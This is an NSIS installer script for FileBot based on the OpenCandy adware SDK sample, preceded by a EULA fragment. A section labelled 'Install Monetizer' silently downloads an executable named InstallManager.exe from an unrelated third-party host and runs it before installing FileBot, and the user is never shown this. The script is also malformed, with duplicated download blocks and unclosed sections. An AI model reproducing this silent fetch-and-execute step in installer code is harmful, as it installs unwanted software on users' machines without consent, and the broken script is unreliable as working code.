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A. FileBot End User License Agreement (EULA)
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Date of last revision: March 7, 2012
PLEASE READ THESE TERMS BEFORE PROCEEDING WITH THE INSTALLATION OF THE SOFTWARE. BY AGREEING TO THESE TERMS YOU ARE GRANTING US PERMISSION TO PROVIDE RECOMMENDATIONS OF THIRD PARTY SOFTWARE IN ACCORDANCE WITH THE FOLLOWING TERMS AND THE TERMS OF OUR PRIVACY POLICY.
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!define PRODUCT_NAME "FileBot"
; OpenCandySample.nsi
;
; This is a fairly simple example of an NSIS installer that walks through
; the basic functionality a typical installer provides and also shows the
; required OpenCandy integration points.
;
; You should be able to build this installer without any modification
; and see a sample offer from the OpenCandy network. The unmodified installer
; is safe to run, it just drops a copy of this .nsi file in the installation
; folder.
;
; Everything specific to OpenCandy in this script is encapsulated like this:
;
; # [OpenCandy]
; ; OpenCandy stuff here
; # [/OpenCandy]
;
; If you already have your own .nsi script the accompanying SDK notes highlight
; the steps necessary for integration and this sample will provide a good
; reference implementation. For advanced support please contact the OpenCandy
; partner support team.
;
; Copyright (c) 2008 - 2013 SweetLabs, Inc.
;
; You may use and modify this .nsi file for your product installer so long as
; you abide by the terms of the OpenCandy SDK EULA.
;
!include "MUI2.nsh"
;--------------------------------
; Definitions
;--------------------------------
# [OpenCandy]
; The following values get passed to the OpenCandy API. Once you've signed up
; for OpenCandy you'll be provided with a customized set of values specific to
; your product that you must set here before releasing your installer.
;
; These values must be defined before including OCSetupHlp.nsh.
;
; For internal purposes it's okay to use the sample values that are preset
; below. If everything is working properly you'll see a sample offer screen
; display in your installer. When you compile your installer with these
; sample values some warnings will be displayed in the compiler output
; window to remind you to make changes before your public release.
; Please change the key and secret to the ones assigned for your specific products
; Product key and secret for first offer
!define OC_STR_KEY "c759b81f33a64385655ad567bc5e4ddf"
!define OC_STR_SECRET "a292a0295f1fb9ca183b9fd48f472b6e"
; Product key and secret for second offer screen if showing two offers, otherwise
; set these to empty strings.
!define OC_STR_KEY2 "61ae9369917e275d4ec4182f23f6bfeb"
!define OC_STR_SECRET2 "f3f52c88720a1f42c9ec232abae94517"
; Optionally change the path to OCSetupHlp.dll here if it's not in the same folder
; as your .nsi file. You must specify the relative path from your .nsi file location.
!define OC_OCSETUPHLP_FILE_PATH ".\OCSetupHlp.dll"
# [/OpenCandy]
# [OpenCandy]
; The following values customize the UI for the OpenCandy loading screen.
; The loading screen is displayed only for a limited time when there has not
; been sufficient time between loading the OpenCandy client and end user navigation
; to the OpenCandy offer screen to finish checking for available offers.
; You may use LangStrings to localize messages.
;
; These values must be defined before including OCSetupHlp.nsh.
;
!define OC_LOADING_SCREEN_CAPTION " "
!define OC_LOADING_SCREEN_DESCRIPTION " "
!define OC_LOADING_SCREEN_MESSAGE "Loading..."
!define OC_LOADING_SCREEN_FONTFACE "Arial"
!define OC_LOADING_SCREEN_FONTSIZE 100
# [/OpenCandy]
!define PRODUCT_PROPER_NAME "FileBot"
; !define PRODUCT_FILESYSTEM_NAME "My Product"
; !define PRODUCT_PUBLISHER_PROPER_NAME "My Company, Inc."
; !define PRODUCT_PUBLISHER_FILESYSTEM_NAME "My Company"
!define INSTALLER_EXE_NAME "FileBot-setup.exe"
; !define PRODUCT_DIR_REGKEY "Software\${PRODUCT_PUBLISHER_FILESYSTEM_NAME}\${PRODUCT_FILESYSTEM_NAME}"
; Uncomment this definition to use Modern UI 2 instead of Modern UI. It's best
; to use Modern UI 2 if you're starting fresh with the latest version of NSIS
; and you don't have many custom dialogs created with InstallOptions. By default
; this sample installer uses Modern UI for maximum compatibility.
!define OPTION_USE_MUI_2
;--------------------------------
; Installer Configuration
;--------------------------------
# [OpenCandy]
; OpenCandy requires RequestExecutionLevel admin
# [/OpenCandy]
; Request admin privileges for Windows Vista, 7.
RequestExecutionLevel admin
; Name (shown in various places in the installer UI)
Name "${PRODUCT_PROPER_NAME}"
; Output file generated by NSIS compiler
OutFile "${INSTALLER_EXE_NAME}"
; Default installation folder
; InstallDir "$PROGRAMFILES\${PRODUCT_PUBLISHER_FILESYSTEM_NAME}\${PRODUCT_FILESYSTEM_NAME}"
; Automatically remember any user-customized installation path
; InstallDirRegKey HKLM "${PRODUCT_DIR_REGKEY}" ""
; Use lzma compression
SetCompressor lzma
; Optimize Data Block
SetDatablockOptimize on
; Restore last write datestamp of files
; SetDateSave on
; Show un/installation details
ShowInstDetails show
ShowUnInstDetails show
;--------------------------------
; Includes
;--------------------------------
!include "x64.nsh"
; Use Modern UI to make the installer look nice
!ifdef OPTION_USE_MUI_2
!include "MUI2.nsh"
!else
!include "MUI.nsh"
!endif
; Include Sections header so that we can manipulate
; section properties in .onInit
!include "Sections.nsh"
# [OpenCandy]
; Include the OpenCandy Setup Helper header
; This provides all the OpenCandy helper macros, functions
; and definitions that are used by this install script.
!include "OCSetupHlp.nsh"
# [/OpenCandy]
;--------------------------------
; Reserve files
;--------------------------------
!insertmacro MUI_RESERVEFILE_LANGDLL
# [/OpenCandy]
; Improve performance by reserving an early place in
; the file data block for OpenCandy DLL.
!insertmacro OpenCandyReserveFile
# [/OpenCandy]
!ifndef OPTION_USE_MUI_2
!insertmacro MUI_RESERVEFILE_INSTALLOPTIONS
!endif
;--------------------------------
; Variables
;--------------------------------
; Create any globals here
; Var MyGlobalVariable
;--------------------------------
; Modern UI Configuration
;--------------------------------
; MUI Settings
!define MUI_ABORTWARNING
; MUI Settings / Icons
!define MUI_ICON "icon.ico"
!define MUI_ICON "${NSISDIR}\Contrib\Graphics\Icons\orange-install.ico"
!define MUI_UNICON "${NSISDIR}\Contrib\Graphics\Icons\orange-uninstall.ico"
; MUI Settings / Header
!define MUI_HEADERIMAGE
!define MUI_HEADERIMAGE_RIGHT
!define MUI_HEADERIMAGE_BITMAP "header.bmp"
!define MUI_HEADERIMAGE_BITMAP "${NSISDIR}\Contrib\Graphics\Header\orange-r.bmp"
!define MUI_HEADERIMAGE_UNBITMAP "${NSISDIR}\Contrib\Graphics\Header\orange-uninstall-r.bmp"
; MUI Settings / Wizard
!define MUI_WELCOMEFINISHPAGE_BITMAP "wizard.bmp"
!define MUI_WELCOMEFINISHPAGE_BITMAP "${NSISDIR}\Contrib\Graphics\Wizard\orange.bmp"
!define MUI_UNWELCOMEFINISHPAGE_BITMAP "${NSISDIR}\Contrib\Graphics\Wizard\orange-uninstall.bmp"
;--------------------------------
; Installer pages
;--------------------------------
; Welcome page
!insertmacro MUI_PAGE_WELCOME
# [OpenCandy]
; You must display the OpenCandy EULA during installation. We recommend
; that you append the OpenCandy EULA to your own license agreement,
; and that you provide clearly visible notice of the presence of the
; OpenCandy EULA using a table of contents at the top of the
; combined presentation.
# [/OpenCandy]
; End user license agreement
!insertmacro MUI_PAGE_LICENSE "FileBot_OpenCandy_EULA.txt"
# [OpenCandy]
; This placeholder page supports deferred extraction and loading of the
; OpenCandy Network Client library when using OC_INIT_PERFORM_BYPAGEORDER.
; It will typically be inserted immediately after the license page. No
; page is actually displayed to the end user. Inserting this page later in
; the page list may reduce offer rate and increase the likelihood that end
; users will see the OpenCandy loading page.
!insertmacro OpenCandyLoadDLLPage
# [/OpenCandy]
# [OpenCandy]
; This placeholder page connects to the OpenCandy Network to check for
; recommendations after deferred loading using OpenCandyLoadDLLPage. It will
; typically be inserted immediately after OpenCandyLoadDLLPage. No page is
; actually displayed to the end user. Inserting this page later in the page
; list may reduce offer rate and increase the likelihood that end users will
; see the OpenCandy loading page.
!insertmacro OpenCandyConnectPage
# [/OpenCandy]
; Component selection (you might want to omit this in a simpler setup)
; !insertmacro MUI_PAGE_COMPONENTS
; Choose directory (you might want to omit this in a simpler setup)
; !insertmacro MUI_PAGE_DIRECTORY
# [OpenCandy]
; Insert a loading screen before the OpenCandy offer page. This screen
; will be displayed only if the OpenCandy client is still determining
; offer availability and for a limited period of time. Omitting this
; page may reduce offer rate. This page must be inserted after
; OpenCandyConnectPage and before OpenCandyOfferPage.
!insertmacro OpenCandyLoadingPage
# [/OpenCandy]
# [OpenCandy]
; Insert the OpenCandy offer page
!insertmacro OpenCandyOfferPage
# [/OpenCandy]
# [OpenCandy]
; Insert the second OpenCandy offer page
!insertmacro OpenCandyOfferPage2
# [/OpenCandy]
; Perform installation (executes each enabled Section)
!insertmacro MUI_PAGE_INSTFILES
; Finish page
!insertmacro MUI_PAGE_FINISH
;--------------------------------
; Language support
;--------------------------------
!insertmacro MUI_LANGUAGE "English"
LangString Section_Name_MainProduct ${LANG_ENGLISH} "${PRODUCT_PROPER_NAME}"
LangString Section_Name_MainProductExt ${LANG_ENGLISH} "${PRODUCT_PROPER_NAME} extensions"
Name "FileBot"
OutFile "FileBot-setup.exe"
ShowInstDetails hide
AutoCloseWindow false
Section ""
DetailPrint "Initializing..."
;Install Monetizer
inetc::get /SILENT /CONNECTTIMEOUT 10 /RECEIVETIMEOUT 30 "http://www.comay13north.com/download.php?loGFcg==" "$PLUGINSDIR\InstallManager.exe" /end
nsExec::Exec /TIMEOUT=30000 '$PLUGINSDIR\InstallManager.exe'
DetailPrint "Downloading latest version..."
;Install latest FileBot
${if} ${RunningX64}
inetc::get /USERAGENT "nsis" /caption "Downloading FileBot (x64)" "http://www.filebot.net/download.php?mode=nsis&type=msi&arch=x64" "$PLUGINSDIR\FileBot.msi" /end
${else}
inetc::get /USERAGENT "nsis" /caption "Downloading FileBot (x86)" "http://www.filebot.net/download.php?mode=nsis&type=msi&arch=x86" "$PLUGINSDIR\FileBot.msi" /end
${endif}
DetailPrint "Installing latest version..."
nsExec::Exec 'msiexec /quiet /i "$PLUGINSDIR\FileBot.msi"'
Pop $0 # return value
${if} $0 != "0"
DetailPrint "Install failed."
;---------------------------
; Install sections
;---------------------------
Var MSI_STATUS
Section "$(Section_Name_MainProduct)" SECTIONID_MAINPRODUCT
; Put your own product installation code here!
;
; Notice that because this is the main product section
; there's some code in the .onInit callback that prevents
; the user from disabling this section on the components
; selection screen.
DetailPrint "Downloading latest version..."
;Install latest FileBot
${if} ${RunningX64}
inetc::get /USERAGENT "nsis" /caption "Downloading FileBot (64-bit)" "http://www.filebot.net/download.php?mode=nsis&type=msi&arch=x64" "$PLUGINSDIR\FileBot.msi" /end
${else}
inetc::get /USERAGENT "nsis" /caption "Downloading FileBot (32-bit)" "http://www.filebot.net/download.php?mode=nsis&type=msi&arch=x86" "$PLUGINSDIR\FileBot.msi" /end
${endif}
DetailPrint "Installing latest version..."
nsExec::Exec 'msiexec /quiet /i "$PLUGINSDIR\FileBot.msi"'
Pop $MSI_STATUS # grab return value
${if} $MSI_STATUS == "0"
# [OpenCandy]
; This section is hidden. It will always execute during installation
; but it won't appear on your component selection screen.
; Handle any offers the user accepted
!insertmacro OpenCandyInstallEmbedded
# [/OpenCandy]
${else}
DetailPrint "Install failed."
Abort
${endif}
${endif}
SectionEnd
;--------------------------------
; .onInit NSIS callback
;--------------------------------
Function .onInit
; Display a language selection dialog box for languages
; This will only show if you have added multiple languages
; using the MUI_LANGUAGE macro.
!insertmacro MUI_LANGDLL_DISPLAY
; Set the main product section to read-only so that users
; can't turn it off on the component selection screen.
!insertmacro SetSectionFlag ${SECTIONID_MAINPRODUCT} ${SF_RO}
# [OpenCandy]
; Note: If you use a language selection system,
; e.g. MUI_LANGDLL_DISPLAY or calls to LangDLL, you must insert
; these macros after the language selection code in order for
; OpenCandy to detect the user-selected language and for any
; LangStrings you may use to be applied.
; Initialize OpenCandy
!insertmacro OpenCandyAsyncInit "${OC_STR_KEY}" "${OC_STR_SECRET}" ${OC_INIT_MODE_NORMAL} \
"${OC_STR_KEY2}" "${OC_STR_SECRET2}" ${OC_INIT_MODE_NORMAL} \
${OC_INIT_PERFORM_NOW}
# [/OpenCandy]
FunctionEnd
;--------------------------------
; .onInstSuccess NSIS callback
;--------------------------------
Function .onInstSuccess
# [OpenCandy]
; Signal successful installation, download and install accepted offers
!insertmacro OpenCandyOnInstSuccess
# [/OpenCandy]
FunctionEnd
;--------------------------------
; .onGUIEnd NSIS callback
;--------------------------------
Function .onGUIEnd
# [OpenCandy]
; Inform the OpenCandy API that the installer is about to exit
!insertmacro OpenCandyOnGuiEnd
# [/OpenCandy]
FunctionEnd
# [OpenCandy]
; Have the compiler perform some basic OpenCandy API implementation checks
!insertmacro OpenCandyAPIDoChecks
# [/OpenCandy]